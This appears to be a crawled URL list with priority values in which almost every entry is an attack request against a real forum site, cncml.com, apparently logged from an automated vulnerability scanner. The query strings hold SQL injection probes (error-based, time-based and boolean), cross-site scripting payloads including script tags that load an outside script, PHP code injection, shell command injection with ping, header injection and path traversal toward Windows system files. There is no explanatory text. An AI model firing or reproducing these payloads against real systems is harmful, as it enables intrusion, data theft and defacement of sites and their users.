http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%25%27%29%20AND%2025%3D25%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%25%27%29%20AND%2072%3D52%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%25'%20AND%2068=39%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%25'%20AND%2095=95%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(45=91)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(91=91)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%2527 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%2527%20AND%2021=39%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%2527%20AND%2036=36%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%5B%5D 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%5C%22 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%5C' 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes%bf%27 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes' 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes'%20AND%20'g8'='aS 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes'%20AND%20'vY'='vY 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes'%20OR%20'nB'='nB'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(18=18)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'14'='14 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(58=53)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'vJ'='vJ 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes'%22 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes')%20AND%2035=96%20AND%20('XR'='XR 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes')%20AND%2091=91%20AND%20('aT'='aT 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(35=29)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20('Gi'='Gi 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(46=46)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20('mz'='mz 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes';%20IF(22=44)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes';%20IF(42=42)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes) 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes);%20IF(45=45)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes);%20IF(69=35)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yes6633x3X6 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yesAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yesJyI%3D 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yesalert(42873) 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&lostpwsubmit=yes&infloat=yese360 0.0001 http://www.cncml.com/member.php?mod=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?mod=phpinfo 0.0001 http://www.cncml.com/member.php?mod=response.write(9412458*9542755) 0.0001 http://www.cncml.com/member.php?mod=set%7Cset&set 0.0001 http://www.cncml.com/member.php?redirect:%25%7B23.5*2.35%7D 0.0001 http://www.cncml.com/member.php?xss_test%3Cscript%3Eprompt(42873);%3C/script%3E 0.0001 http://www.cncml.com/misc.php 0.0004 http://www.cncml.com/misc.php?%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=%3Cdir 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=');print(md5(1122));// 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=(SELECT%20(CASE%20WHEN%20(57=35)%20THEN%200x696E76697465%20ELSE%2057*(SELECT%2057%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=................windowswin.ini 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/misc.php?action=article&id=43&mod=../../../../../../../../boot.ini%00.jpg 0.0001 